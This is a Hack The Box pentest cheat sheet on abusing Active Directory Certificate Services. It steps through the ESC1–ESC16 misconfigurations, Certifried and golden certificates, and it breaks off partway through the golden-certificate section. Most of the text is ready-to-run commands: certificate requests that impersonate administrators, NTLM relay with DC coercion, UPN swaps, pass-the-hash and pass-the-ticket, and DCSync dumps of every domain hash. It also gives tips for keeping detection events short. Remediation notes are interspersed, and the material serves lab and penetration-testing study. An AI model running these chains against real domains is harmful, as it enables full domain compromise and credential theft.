[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 10 of 17 · Focus: Stage 07 — ADCS and Certificate Abuse
Previous: Stage 06 — ACL and Object Abuse · Next: Stage 08 — Password Attacks and Credential Hunting
📜 STAGE 7 — ADCS / Certificate Abuse
Certificates are password-equivalents that survive password resets. The whole stage is three Certipy verbs on repeat: find (triage) → req / relay / shadow / forge (get a cert for someone I shouldn’t) → auth (PKINIT → TGT + NT hash via UnPAC). Everything below feeds the same tail. Deep dives: _ADCS Attack Methodology Guide · _ADCS ESC Attack Index · Certipy-ad · Certipy-ADCS-Cheatsheet.
[!tools] Stage this Certify.exe (SHA-256 · GPG signature) — GhostPack Certify: the Windows-side enumerator/abuser (
find /vulnerable,cas,pkiobjects,request /altname). Needs the CA FQDN reachable; run from a domain-joined foothold or viarunas /netonly. Rubeus.exe (SHA-256 · GPG signature) — GhostPack Rubeus: the Windows-side auth tail —asktgt /certificate:cert.pfx /getcredentials /pttdoes PKINIT + UnPAC + inject in one shot. SharpDPAPI.exe (SHA-256 · GPG signature) — GhostPack SharpDPAPI: cert theft side —certificates/machinecertificatesunwrap DPAPI-locked user/machine certs + private keys.Link-only drivers: Certipy (the Linux workhorse) · ForgeCert (golden certs, Windows) · PSPKIAudit (defensive audit, useful for template diffs) · Impacket ntlmrelayx (ESC8 relay).
[!warning] Certipy v5 — always pass
-dc-hostOmitting-dc-hostin v5+ makes Certipy resolve the domain name as the DC host, getTarget IP: None, and die with[Errno 113] No route to hosteven when-dc-ipis right. Pair-dc-ip $IPwith-dc-host $DCon every command; add-ns $IPto pin DNS to the DC (the Fluffy lesson). If Certipy dies oncannot import name 'asn1' from 'cryptography.hazmat', it’s a stale lib —pipx install certipy-adoruv tool install certipy-ad.
PKI in 60 seconds — what I’m actually attacking
- CA (Certification Authority): the server that signs certs. Enterprise CAs live in AD under
CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,...and their private key is the crown jewel (→ Golden Cert). - Certificate template: a blueprint object in AD (
CN=Certificate Templates,...). It fixes EKU (what the cert may do —Client Authenticationis the money EKU), who may enroll (ACL on the template —Domain Users/Domain Computersby default), supply-in-request (may the requester choose the subject/SAN?), and manager approval (does a human/officer have to sign off?). - Request flow: enrollee builds a CSR → CA checks template ACL + flags → CA signs → cert issued. Every misconfiguration below is one of those four checks being weak.
- Auth flow: the DC validates a presented cert via PKINIT (Kerberos-as-user-with-cert) or Schannel (LDAPS/HTTPS client-cert auth). Post-May-2022, the KDC wants the cert to carry the requester’s SID extension (
szOID_NTDS_CA_SECURITY_EXT) or a strong mapping — that’s what ESC6/9/10/16 and Certifried are all fighting over. - Issuance policy / OID group link: a template can carry an issuance-policy OID that AD links to a group — the cert then drags that group’s SID into your PAC (ESC13).
CA discovery — where’s the PKI?
# from Linux
nxc ldap "$IP" -u "$U" -p "$P" -M adcs # quick CA names via LDAP
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -enabled -stdout
BASEDN="DC=corp,DC=example,DC=local" # one DC= per domain label
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" \
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$BASEDN"
# from Windows (built-in, zero tooling)
certutil -config - -ping # list enterprise CAs
certutil -enrollmentServerURL -config "$DC\$CA-NAME" # ESC8: is HTTP web enrollment up?
Certify.exe cas # CA details incl. flags (EDITF, IF_ENFORCEENCRYPTICERTREQUEST)
Certify.exe pkiobjects # PKI object ACLs (ESC5 surface)
Step 0 — certipy find triage (always first)
What to look for → the [!] Vulnerabilities blocks. Every ESC label maps straight to a playbook below.
Enumerate
# Vulnerable-only, straight to terminal (also writes JSON + BloodHound zip)
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -vulnerable -stdout
# Enabled templates only (quieter triage)
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -enabled -stdout
# Pass-the-hash variant
certipy-ad find -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -vulnerable -stdout
# Full dump (not just vulnerable) — hunt THEFT/PERSIST targets + CA/template names
certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -json -text -output adcs_enum
# v5+: enumerate one known CA's template surface (list-templates is a `ca` option, not a subcommand)
certipy-ad ca -ca 'CA-NAME' -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -list-templates
The three registry/patch checks that decide whether the mapping attacks (ESC6/9/10/16, Certifried) still work:
# StrongCertificateBindingEnforcement on the DC — 0=off 1=compat(default) 2=full/blocked
netexec smb $IP -u "$U" -p "$P" -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement'
# CertificateMappingMethods (ESC10 — 0x4 = weak UPN mapping on)
netexec smb $IP -u "$U" -p "$P" -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods'
# Patch level (Certifried KB5014754, EKUwu KB5044281)
netexec smb $IP -u "$U" -p "$P" -x 'wmic qfe list brief | findstr "KB5014754 KB5044281"'
Windows-side enumeration — Certify.exe (staged above)
# the bread-and-butter triage
.\Certify.exe find /vulnerable
.\Certify.exe find /enrolleeSuppliesSubject # ESC1-shaped templates only
.\Certify.exe find /clientauth # client-auth-capable templates
.\Certify.exe find /enabledtemplates # what the CA actually publishes
# CA-side config (EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6, officer rights → ESC7)
.\Certify.exe cas
# PKI object ACLs — NTAuthCertificates, template containers (ESC5)
.\Certify.exe pkiobjects
[!tip] Certify output caveat Certify’s
/vulnerableis ESC1–ESC8-era logic — it will not flag ESC9–ESC16. If Certify comes back clean on a 2022+ environment, that proves nothing; cross-check withcertipy-ad find(v5 detects through ESC16) or read template flags by hand (CT_FLAG_NO_SECURITY_EXTENSION, issuance policies, schema version).
The universal tail — cert → auth → NT hash → shell
Every playbook ends here. Given a .pfx, PKINIT it for a TGT and the account’s NT hash (UnPAC-the-hash), then spend it:
# PKINIT + UnPAC in one shot -> writes administrator.ccache AND prints the NT hash
certipy-ad auth -pfx administrator.pfx -username administrator -domain $DOMAIN -dc-ip $IP
# Spend the TGT (quietest) — pass-the-ticket from the .ccache
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass $DC
secretsdump.py -k -no-pass $DC # DCSync if the identity has repl rights
# ...or Pass-the-Hash with the recovered NT hash
evil-winrm -i $IP -u administrator -H <NThash>
psexec.py administrator@$IP -hashes :<NThash>
# Windows tail: Rubeus does PKINIT + UnPAC + inject (PTT) in one shot
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:certpass /getcredentials /ptt /nowrap
[!note] Pass-the-cert (no PKINIT needed) If the DC has no PKINIT (or it’s broken), the cert still authenticates over Schannel:
certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $IPgives an LDAP shell as the victim;nxc ldap $IP -u administrator --pfx-cert administrator.pfx --pfx-pass ''works too (PEM key pairs use--pem-cert cert.pem --pem-key key.peminstead — there is no--pfx-key). Schannel auth maps via the DC’sCertificateMappingMethods— see the mapping gotchas below.
[!warning] Watch out
- Clock skew kills PKINIT.
certipy authdoes not self-correct. OnKRB_AP_ERR_SKEWprefixfaketime(see faketime-cheatsheet) orsudo rdate -n $IP:faketime -f '+7h30m' certipy-ad auth -pfx administrator.pfx -dc-ip $IP.- Kerberos needs DNS.
echo "$IP $DC $DOMAIN" | sudo tee -a /etc/hostsbefore any-k -no-pass.- No PKINIT on the DC? Fall back to Schannel/LDAPS:
certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $IP.Certificate has no object SIDis normal for ESC1/6/7 — it means UPN-mapping fallback. Only fails whenStrongCertificateBindingEnforcement = 2.
Full ESC1–ESC16 index — requirement + one-liner both ways
| ESC | Requirement (what find shows) | Certipy one-liner (Linux) | Certify + Rubeus (Windows) |
|---|---|---|---|
| ESC1 | ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + no manager approval + low-priv enrollees (detail) | req -ca X -template Y -upn administrator@$DOMAIN | Certify.exe request /ca:X /template:Y /altname:administrator → Rubeus asktgt |
| ESC2 | Any Purpose / no EKU (or SubCA) (detail) | req -ca X -template Y -upn … or use as agent cert for ESC3-style | same /altname request; any-purpose cert can also be an enrollment-agent cert |
| ESC3 | CRA template (enrollment agent EKU) + no agent restrictions (detail) | req -template CRA → req -template User -on-behalf-of DOM\admin -pfx cra.pfx | request /template:CRA → request /template:User /onbehalfof:DOM\admin /enrollcert:cra.pfx |
| ESC4 | Dangerous write ACE on the template object (detail) | template -save-configuration → -write-default-configuration → ESC1 → restore | Edit template with certtmpl.msc/adsiedit or StandIn; then request as ESC1 |
| ESC5 | Write ACE on PKI objects (CA object, NTAuthCertificates, template container) (detail) | Stage-06-style ACL abuse on the object → make a template ESC1/ESC4 | PowerView/StandIn on the PKI object → ESC4 chain |
| ESC6 | CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 (User Specified SAN: Enabled) (detail) | req -ca X -template User -upn … on ANY client-auth template | request /ca:X /template:User /altname:administrator |
| ESC7 | ManageCA and/or ManageCertificates on the CA (detail) | ca -add-officer me → -enable-template SubCA → denied req → -issue-request <id> → req -retrieve <id> | Certify has no CA-mgmt verbs — use certsrv.msc/certutil or run the Certipy side |
| ESC8 | HTTP web enrollment enabled + no EPA (detail) | ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController + coercion | Relay must run from the attack box; coerce from Windows with SpoolSample.exe |
| ESC9 | Template flag CT_FLAG_NO_SECURITY_EXTENSION + GenericWrite on a victim (detail) | account -user victim -upn administrator update → req as victim → restore UPN | Set UPN with StandIn/PowerView → request as victim → restore |
| ESC10 | Weak DC mapping: CertificateMappingMethods 0x4 and/or StrongCertificateBindingEnforcement 0/1 (detail) | same UPN-swap chain as ESC9; Schannel mapping also exploitable | as ESC9 — the vuln is DC-side, the abuse is template-agnostic |
| ESC11 | IF_ENFORCEENCRYPTICERTREQUEST not enforced on the CA (detail) | certipy-ad relay -target rpc://CAIP -ca X -template DomainController + coercion | ntlmrelayx from Linux; coercion from any side |
| ESC12 | Shell access to the CA server (even HSM/YubiHSM-backed keys) | local admin on CA → export CA key / abuse YubiHSM plaintext store | RDP/WinRM to CA → certutil -backupKey / Mimikatz crypto::certificates /export |
| ESC13 | Template issuance-policy OID linked to a group (msDS-OIDToGroupLink) (detail) | req -ca X -template LinkedTemplate → auth → PAC contains group SID | request /template:LinkedTemplate → Rubeus asktgt (group SID in PAC) |
| ESC14 | Weak explicit mapping in altSecurityIdentities (e.g. X509RFC822 only) + write to that attribute | write a weak mapping to victim’s altSecurityIdentities, present own cert | PowerView Set-DomainObject on altSecurityIdentities + own cert |
| ESC15 | Schema-v1 template + unpatched CA (pre-KB5044281) = EKUwu, CVE-2024-49019 (detail) | req -template Y -upn … -application-policies 'Client Authentication' | n/a from Certify (policy injection is a Certipy feature) — patch level decides |
| ESC16 | szOID_NTDS_CA_SECURITY_EXT disabled CA-wide (Security Extension: Disabled) (detail) | UPN-swap (ESC9 chain) against ANY template | StandIn/PowerView UPN swap + request as victim |
| Certifried | MAQ ≥ 1 + pre-KB5014754 DC (detail) | add computer → clear SPNs → set dNSHostName = DC → req -template Machine | Powermad/StandIn --computer + Certify.exe request /template:Machine |
| DPERSIST1 | Local admin on CA + software key (detail) | certipy-ad ca -backup -ca 'CA-NAME' → certipy-ad forge -ca-pfx … | certutil -backupKey → ForgeCert.exe --CaCertPath ca.pfx … |
[!tip] Cert → NT hash the long way When Certipy’s
authis blocked, do the UnPAC by hand with PKINITtools:gettgtpkinit.py -cert-pfx administrator.pfx $DOMAIN/administrator admin.ccachethengetnthash.py -key <AS-REP-key> $DOMAIN/administrator. Windows foothold:Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap. Full detail in THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash).
ESC1 — SAN injection (the bread-and-butter)
What to look for → Enrollee Supplies Subject: True + Client Authentication: True + Requires Manager Approval: False on a template Domain Users can enroll in.
Exploit — inject the admin UPN straight into the CSR’s SAN:
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"
# -> administrator.pfx then run the universal auth tail
# Windows equivalent — Certify requests, Rubeus auths
.\Certify.exe request /ca:"$DC\CA-NAME" /template:VulnTemplate /altname:administrator
# -> copy the PEM (cert+key) into cert.pem, convert to pfx:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /ptt /nowrap
[!warning] Watch out
The NETBIOS connection with the remote host timed outonreqis a transient RPC hiccup — re-run (drop-dc-hostfor that one call if it persists). On a patched DC with enforcement=2 the no-SID cert is rejected; pivot to ESC16/Certifried. Add-sid 'S-1-5-21-...-500'if the box wants an object SID.
[!shield] Remediation (what to recommend) Remove
Supply in the request(CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) from the template, require manager approval or an authorized signature, and trim enrollment rights to the groups that actually need the cert. Audit 4886/4887 for SAN-bearing requests from odd accounts.
ESC2 — any-purpose / no-EKU (the Swiss cert)
What to look for → template with Any Purpose EKU (2.5.29.37.0) or no EKU at all, low-priv enrollment. Such a cert is valid for anything — including client auth (inject UPN like ESC1) and acting as an enrollment agent (chain into ESC3 against any template).
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"
# or use it as a CRA cert:
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \
-on-behalf-of "$DOMAIN\\administrator" -pfx lowpriv.pfx
[!shield] Remediation Constrain EKUs to what the service needs, never ship an any-purpose template to broad principals. Also watch the SubCA template (no EKU,
ENROLLEE_SUPPLIES_SUBJECTby default) — it’s ESC2/ESC1 on steroids and should never be enabled without manager approval.
ESC3 — enrollment agent (two-template, on-behalf-of)
What to look for → Template 1 with Enrollment Agent: True (CRA EKU 1.3.6.1.4.1.311.20.2.1), the CA showing Enrollment Agent Restrictions: None, and Template 2 (usually built-in User) with client-auth EKU.
Exploit
# 1. Get the agent cert for yourself (NO -upn here)
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-ca 'CA-NAME' -template 'ESC3-CRA'
# -> lowpriv.pfx (your staff badge)
# 2. Co-sign a cert ON BEHALF OF administrator against a client-auth template
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-ca 'CA-NAME' -template 'User' -on-behalf-of "$DOMAIN\\administrator" -pfx lowpriv.pfx
# -> administrator.pfx then the auth tail
# Windows equivalent
.\Certify.exe request /ca:"$DC\CA-NAME" /template:ESC3-CRA
# (convert to lowpriv.pfx with openssl as above)
.\Certify.exe request /ca:"$DC\CA-NAME" /template:User /onbehalfof:$DOMAIN\administrator /enrollcert:lowpriv.pfx /enrollcertpw:certpass
[!warning] Watch out
-on-behalf-ofusesDOMAIN\user(NetBIOS + backslash), not UPN. If Step 2 errors, the CA has agent restrictions set (Enrollment Agent Restrictions≠ None) and the path is dead.
[!shield] Remediation Configure Enrollment Agent Restrictions on the CA (restrict which agents can enroll on behalf, and for which templates/users), require approval on the CRA template, and scope its enrollment ACL tightly.
ESC4 — template ACL rewrite (I create the vuln)
What to look for → a low-priv principal with WriteOwner / WriteDacl / WriteProperty / GenericWrite / GenericAll on a template object. Certipy tags it ESC4 : '…' has dangerous permissions; BloodHound shows an ACE edge to the template node.
Exploit — back up, mutate to ESC1, exploit, restore:
# 1. BACK UP the original config first (build the habit)
certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-template 'VulnTemplate' -save-configuration VulnTemplate.json
# 2. Overwrite with the default ESC1 config (SAN + client-auth EKU, no approval)
certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-template 'VulnTemplate' -write-default-configuration
# 3. Now it's ESC1 — request as administrator
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"
# 4. auth tail -> get the hash BEFORE you restore
# 5. RESTORE the template (critical — noisy object change otherwise)
certipy-ad template -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-template 'VulnTemplate' -write-configuration VulnTemplate.json -no-save
[!warning] Watch out ESC4 is the noisiest ESC — template edits fire Event ID 4899, and the 4899→4886→4887→4899 sequence is the textbook fingerprint. Get the cert + hash first, then restore immediately.
Access Deniedon the mutate = you only haveWriteOwner; take ownership + grant yourself GenericAll first (BloodyAD/PowerView — see Stage 06). Legacy 4.x syntax uses-save-old/-target dc01.$DOMAINinstead of-save-configuration.
[!shield] Remediation Lock template ACLs to
Enterprise Admins/PKI team; alert on 4899/4900 (template change events) and on 5136 writes underCN=Certificate Templates,CN=Public Key Services.
ESC5 — PKI object ACLs (the container, not the template)
What to look for → write access to the CA computer object, the CA’s AD object, CN=NTAuthCertificates, or the whole CN=Public Key Services container (Certify.exe pkiobjects / certipy-ad find show these). Abuse is pure Stage-06 ACL work on AD objects whose compromise converts to ESC1/ESC4/DPERSIST.
# e.g. WriteDacl on the template container -> grant self control -> ESC4 any template
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local' --resolve-sd
# NTAuthCertificates write -> plant a rogue CA cert -> DPERSIST2
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 (CA-wide SAN)
What to look for → CA line User Specified SAN: Enabled + Request Disposition: Issue. Certipy warns Does not work after May 2022 — believe it and check enforcement first.
Exploit — identical to ESC1 but against any client-auth template (no special template needed):
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-ca 'CA-NAME' -template 'User' -upn "administrator@$DOMAIN"
# -> administrator.pfx then the auth tail
[!warning] Watch out Post-KB5014754 with enforcement ≥ 1 this often fails at auth (SAN ≠ requester SID). The modern equivalent is ESC16 (SID extension disabled → UPN-swap). If ESC6 is flagged but auth bombs, jump to ESC16.
[!shield] Remediation
certutil -config "CA-NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2then restart certsvc. Verify withCertify.exe cas/certipy find— the flag was historically enabled for some web-app integrations and forgotten.
ESC7 — ManageCA / ManageCertificates (approve my own request)
What to look for → a low-priv account in the CA’s ManageCa or ManageCertificates Access Rights.
Exploit — bootstrap officer rights, enable SubCA, request (gets denied), issue it yourself, retrieve:
# 1. ManageCA -> make yourself a cert officer (grants ManageCertificates)
certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -add-officer "$U"
# 2. Enable the blank-cheque SubCA template
certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -enable-template SubCA
# 3. Request as admin — WILL be denied. NOTE the Request ID.
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC \
-ca 'CA-NAME' -template SubCA -upn "administrator@$DOMAIN"
# [*] Request ID is 37 <-- grab this
# 4. Approve your own denied request with officer rights
certipy-ad ca -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -issue-request 37
# 5. Retrieve the now-issued cert
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -retrieve 37
# -> administrator.pfx then the auth tail
Clean-up: certipy-ad ca … -remove-officer "$U" and -disable-template SubCA.
[!tip] ManageCA-only shortcut With just
ManageCAyou can flip the ESC6 SAN flag CA-wide instead of the SubCA dance, then exploit as ESC6 against theUsertemplate. ESC7 is frequently the path that creates ESC6.
[!shield] Remediation Audit who holds CA Administrator / Certificate Manager roles (
certutil -config CA -getreg CA\Security/ ICertAdmin ACLs); these roles should be as small as the DA group. Everycaverb above fires CA events (enable/disable template, officer change) — detect them.
ESC8 / ESC11 — NTLM relay to ADCS (coerce a DC → DCSync)
What to look for → ESC8: Web Enrollment: HTTP Enabled: True. ESC11: Enforce Encryption for Requests: Disabled (the RPC sibling, works even when web enrollment is off). Both need Request Disposition: Issue and a coercible DC.
Exploit (ESC8, HTTP) — two terminals:
# Terminal 1 — relay listener aimed at the CA web-enrollment endpoint
impacket-ntlmrelayx -t http://$DC/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'
# Terminal 2 — coerce the DC to auth to me (LHOST = my tun0)
python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $IP # or unauth: PetitPotam.py $LHOST $IP
python3 printerbug.py "$DOMAIN/$U:$P"@$IP $LHOST # SpoolSample alt
python3 dfscoerce.py -u "$U" -p "$P" -d "$DOMAIN" $LHOST $IP # MS-DFSNM alt
# Terminal 1 drops DC01$.pfx
Exploit (ESC11, RPC/ICPR) — Certipy’s native relay, no ntlmrelayx:
# Terminal 1
certipy-ad relay -target rpc://$IP -ca 'CA-NAME' -template 'DomainController'
# Terminal 2 — same coercion as above (Coercer/PetitPotam) -> DC01$.pfx
Then authenticate as the machine account and DCSync:
certipy-ad auth -pfx 'DC01$.pfx' -username 'DC01$' -domain $DOMAIN -dc-ip $IP
export KRB5CCNAME='DC01$.ccache'
secretsdump.py -k -no-pass $DC # every hash in the domain
[!warning] Watch out Loudest attack in the stage — coercion is network-noisy. Relay fails if EPA/channel-binding is on (ESC8) or
IF_ENFORCEENCRYPTICERTREQUESTis set (ESC11). DC must be able to reach$LHOSTon 445 — confirm withtcpdump -ni tun0 port 445. Never bind Certipyrelayandntlmrelayxon the same ports.--template Machinefor a regular computer,Userfor a user account. Coercion tooling deep-dive: Stage 03 (PetitPotam/SpoolSample/DFSCoerce/Coercer).
[!shield] Remediation Disable the HTTP CES/CertSrv enrollment endpoints if unused; otherwise enforce HTTPS + EPA (Extended Protection for Authentication) on them. Set
IF_ENFORCEENCRYPTICERTREQUEST(certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST) to kill ESC11. The real fix for the whole class: disable/stop SMB coercion paths and require SMB signing.
ESC9 / ESC10 — no security extension & weak mapping (UPN swap)
What to look for → ESC9: template flag CT_FLAG_NO_SECURITY_EXTENSION (No Security Extension: True) + GenericWrite over an account that can enroll. ESC10: DC registry allows weak mapping (CertificateMappingMethods includes 0x4, and/or StrongCertificateBindingEnforcement 0/1). Abuse is identical — steal the target’s UPN, enroll as yourself, the cert maps to the target.
# 1. read victim UPN, 2. swap my controlled account's UPN to it
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user victim read
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user me -upn victim update
# 3. enroll AS ME — cert's UPN = victim's (stolen) UPN -> maps to victim
certipy-ad req -u "me@$DOMAIN" -p "$MYP" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User'
# 4. restore my UPN, 5. auth tail
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user me -upn "me@$DOMAIN" update
[!shield] Remediation Clear
CT_FLAG_NO_SECURITY_EXTENSIONfrom templates (re-issue), setStrongCertificateBindingEnforcement = 2after the compatibility phase, and strip weak bits fromCertificateMappingMethods. Monitor 4738 UPN changes that revert within minutes.
ESC13 — issuance policy → group link
What to look for → a template with an issuance-policy OID whose AD OID object has msDS-OIDToGroupLink set. Enroll normally; on auth the KDC drops the linked group’s SID into your PAC — you become the group without touching group membership (no 4728!).
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'LinkedPolicyTemplate'
certipy-ad auth -pfx lowpriv.pfx -username "$U" -domain $DOMAIN -dc-ip $IP
# TGT now carries the linked group's SID
[!shield] Remediation Remove
msDS-OIDToGroupLinkfrom OID objects unless truly required; audit issuance policies on templates; treat groups reachable via OID links as tier-0.
ESC14 — weak explicit mappings (altExplicitMapping)
What to look for → explicit mappings in altSecurityIdentities that use weak formats only (X509RFC822, X509IssuerSubject) — and any write access to a target’s altSecurityIdentities attribute. An attacker who can write that attribute maps their own cert onto the victim: request a cert as yourself, write its RFC822/subject mapping onto the victim, authenticate as the victim.
# concept — write my cert's weak identifier onto the victim (GenericWrite on victim)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim altSecurityIdentities -v 'X509:<RFC822>me@'$DOMAIN
# present MY cert -> Schannel maps it to victim (needs weak mapping methods enabled)
[!shield] Remediation Prefer strong explicit mappings (
X509IssuerSerialNumber,X509SHA1PublicKey,X509SKI); audit writes toaltSecurityIdentities(5136) and disable weakCertificateMappingMethodsbits.
ESC15 — EKUwu / schema-v1 injection (CVE-2024-49019)
What to look for → schema version 1 templates (built-ins like User, WebServer) published on a CA not patched with KB5044281 (Oct 2024). v1 templates ignore CSR-supplied application policies — except the vulnerable CA happily processes them, letting you inject Client Authentication into any v1 cert.
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \
-upn "administrator@$DOMAIN" -application-policies 'Client Authentication'
[!shield] Remediation Patch CAs with KB5044281+; prefer schema-v2+ templates; where v1 templates must exist, restrict enrollment ACLs and enable manager approval.
ESC16 — SID extension disabled CA-wide (the Fluffy path)
What to look for → CA line Security Extension: Disabled (ESC16 : Security extension is disabled), plus I hold GenericWrite/WriteProperty over any account that can enroll in a client-auth template. This is ESC6’s living post-patch successor — SID never gets embedded, so the KDC falls back to UPN mapping regardless of StrongCertificateBindingEnforcement.
Exploit — account actions are read/update (no lookup), positional at the end:
# 1. Read the current UPN so you can restore it EXACTLY
certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc read
# 2. Swap the controlled account's UPN to the target
certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc -upn administrator update
# 3. Enroll as that account in any client-auth template -> cert maps by UPN = admin
certipy-ad req -u ca_svc -hashes :$CA_NT -dc-ip $IP -target $DC -ca 'CA-NAME' -template User
# -> administrator.pfx
# 4. Restore the UPN IMMEDIATELY (cert stays valid — identity locked at signing)
certipy-ad account -u "$U@$DOMAIN" -hashes :$NT -dc-ip $IP -dc-host $DC -user ca_svc -upn "ca_svc@$DOMAIN" update
# 5. auth tail
certipy-ad auth -pfx administrator.pfx -u administrator -domain $DOMAIN -dc-ip $IP
[!warning] Watch out The rapid 4738 pair (UPN changed → changed back) is the detection fingerprint — keep Steps 2–4 tight. Same chain works for ESC9 (per-template flag) and machine-account variants swap
-dnsinstead of-upn.
[!shield] Remediation Re-enable the security extension on the CA (don’t set
szOID_NTDS_CA_SECURITY_EXTinDisableExtensionList), alert on UPN change-and-revert patterns (4738), and protect enroll-capable service accounts from GenericWrite edges (Stage 06 hygiene).
Certifried — CVE-2022-26923 (default-config priv-esc)
What to look for → MachineAccountQuota ≥ 1 (default 10) + unpatched DC (pre-KB5014754, enforcement 0/1) + a Machine/Computer template domain users can enroll in. No misconfig required — vanilla AD CS is vulnerable.
Exploit — make a computer, spoof its dNSHostName to the DC, request a machine cert:
# 1. Create a machine account (needs MAQ > 0)
impacket-addcomputer "$DOMAIN/$U:$P" -dc-ip $IP -computer-name 'EVILPC$' -computer-pass 'EvilPass123!'
# 2. Clear its SPNs (SPN uniqueness blocks the dNSHostName swap otherwise)
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user 'EVILPC$' -spns '' update
# 3. Point dNSHostName at the DC
certipy-ad account -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -user 'EVILPC$' -dns "$DC" update
# 4. Request a Machine cert AS the fake computer — CA reads dNSHostName = the DC
certipy-ad req -u "EVILPC\$@$DOMAIN" -p 'EvilPass123!' -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'Machine'
# -> dc01.pfx
# 5. Auth as DC01$ and DCSync
certipy-ad auth -pfx dc01.pfx -username 'DC01$' -domain $DOMAIN -dc-ip $IP
export KRB5CCNAME='DC01$.ccache'
secretsdump.py -k -no-pass $DC
Cleanup: impacket-addcomputer "$DOMAIN/$U:$P" -dc-ip $IP -computer-name 'EVILPC$' -delete.
[!warning] Watch out
Constraint Violationon the-dnsswap = SPNs not cleared, redo Step 2. Blocked entirely if enforcement=2 (EVILPC$SID ≠DC01$SID). PKINIT as DC$ from a non-DC IP (4768) is the loud step — move fast, delete the account after.CVE note: Certifried is CVE-2022-26923 (machine-account
dNSHostNamespoof). The same May-2022 bundle (KB5014754) also shipped CVE-2022-26931 (a Kerberos EoP fix) and introduced theStrongCertificateBindingEnforcement/CertificateMappingMethodshardening that defines the ESC6/9/10/16 landscape. When reporting, cite 26923 for the dNSHostName chain and check KB5014754 presence before promising either works.
Golden Certificate — DPERSIST1 (domain persistence)
What to look for → I already own the box and have local admin on the CA with a software-protected key (no HSM). This is persistence, not esc — a forged cert survives every password reset and can’t be revoked short of rebuilding the CA.
Exploit — steal the CA key once, forge offline forever:
# 1. Dump the CA cert + private key (DPAPI, needs admin on the CA)
